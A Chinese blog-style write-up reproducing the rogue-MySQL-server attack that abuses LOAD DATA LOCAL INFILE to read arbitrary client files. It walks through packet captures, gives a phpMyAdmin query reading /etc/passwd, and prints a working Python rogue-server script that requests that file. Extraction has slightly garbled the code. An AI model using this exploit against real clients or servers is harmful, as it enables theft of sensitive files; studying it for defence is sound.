mysql服务端怎么实现_伪造mysql服务端实现任意读取

偶然看到大佬的一篇文章,讲利用mysql的LOAD DATA INFILE的功能读取客户端文件,觉得这个思路十分有趣,于是跟着大佬的思路复现了一遍。

0x01 LOAD DATA INFILE

LOAD DATA INFILE是我十分陌生的一种用法,作用是可以把文件读入到数据库的某个表里,如果在远程连接状态下使用了LOCAL关键字,即LOAD DATE LOCAL INFILE,那么就会从客户端读取一个本地文件,存入服务器端的table里。

eb84438a3d07b3e3b5944edf85c92dbc.png

查看mysql官方文档,官方已经指出这种方法存在着两种潜在的问题:

ce5ec82c8236244af99c83e9814d62c6.png

一种是指不安全的服务端,可以伪造请求去读取客户端的任意文件。

另一种是指webserver的环境下(比如熟悉的phpmyadmin),客户端其实也就是服务端,通过load data local读入的就是服务端自己的文件,同样会造成任意文件读取。

比如在phpmyadmin里执行:

load data local infile "/etc/passwd" into TABLE test;

select * from test;

就可以直接读取任意文件了。

0x02 对mysql的抓包分析

首先先要关闭ssl,在客户端的配置文件的[mysql]节添加skip_ssl,或者关闭服务端的ssl支持。

之后在client端连接server端,进行了登陆,并执行了一次load data infil的操作,数据包如下。

af1fcddc4023ea2cf2e9ae7848f0dff7.png

前面先是一个greeting,是服务端向客户諯发送的握手初始化包:

7bd4f585fda93989d54f0d9901c30abf.png

之后,客户端会发回一个登陆验证包:

29466dcf0137a5cc0ccdfbc5aef0842a.png

服务端发回一个验证成功的应答:

6f5b19751f1c638dba08be3939fd4f4c.png

后面客户端会做一个初始化的查询:

544aa006959d72b1bdbcebae8b778439.png

服务端的应答:

b9f51d81f8111ac0dff307075257cd88.png

这里客户端和服务端就已经成功连接上了,接下来客户端请求load data infile。(如果无法使用LOAD DATA INFILE语法的话,考虑在连接 MySQL 的时候加上--enable-local-infile选项,或者设置local_infile全局变量为ON)

8d24b34befdf060adc9f2956d11bf807.png

接下来服务端会发回一个文件确认:

e8ca779c88ec2c8645280da159b63712.png

然后客户端就把本地文件发过来了:

5f6e912296b576eb44daec82544077cd.png

0x03 漏洞原理

load data的过程大概可以总结为:

客户端:hi,现在我把我的/etc/passwd文件插入test表格里

服务端:好的,把/etc/passwd文件发过来吧

客户端:好的,这是我的/etc/passwd文件

根据官方文档,客户端读取哪个文件是由服务端决定的,也就是说服务端发回哪个文件名,客户端就会读取哪个文件。

而对于这个请求,mysql并没有强制限制必须先由客户端发起load data,一个伪造的服务端可以在任何时候回复一个 file-transfer 请求,比如说最开始客户端请求初始化查询的时候。

这时的过程大概是:

客户端:hi,现在我要查询一下版本信息

服务端:好的,把/etc/passwd文件发过来吧

客户端:好的,这是我的/etc/passwd文件

0x04 服务端伪造

主要的步骤就是在本地3306端口开启一个socket,接收到连接请求后,按照顺序发送greeting,认证成功和读取文件要求。

这里我没有去分析数据包的内容,直接使用提取wireshark抓到的包。

python版:

#coding=utf-8

importsocket

importlogging

logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"sv=socket.socket()

sv.bind(("",3306))

sv.listen(5)

conn,address=sv.accept()

logging.info(‘Conn from: %r‘, address)

conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")

conn.recv(9999)

logging.info("auth okay")

conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")

conn.recv(9999)

logging.info("want file...")

wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename

conn.sendall(wantfile)

content=conn.recv(9999)

logging.info(content)

conn.close()

效果:

c0d9262bc1631f5235fae08d61378759.png

由于我们直接发送认证成功,所以客户端用户名密码可以随便写。

在phpMyAdmin里开启远程连接(将phpMyAdmin/libraries/config.default.php的$cfg[‘AllowArbitraryServer‘]改为true):

b84c48c9f7501870526d1025bcd536ae.png

成功:

c26a3c11a798bbf3282ec7690825b8ec.png

这是大佬写的一个php版(同样在本地和phpmyadmin里都成功):

2b65ef29a5872cc0e4771c25889edd04.gifView Code

ps:

这里有个要注意的地方:

40f1e59619166278dd54e58dff0f1fd6.png

按照大佬的说法,Capabilities这两个字节,\xf7 则表示不支持 SSL,如果不这么写会因为ssl的问题无法连接。

0x05 参考

https://blog.csdn.net/ASzhiwei/article/details/81914381

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

https://www.freebuf.com/vuls/188910.html

https://lightless.me/archives/read-mysql-client-file.html

原文:https://www.cnblogs.com/apossin/p/10127496.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值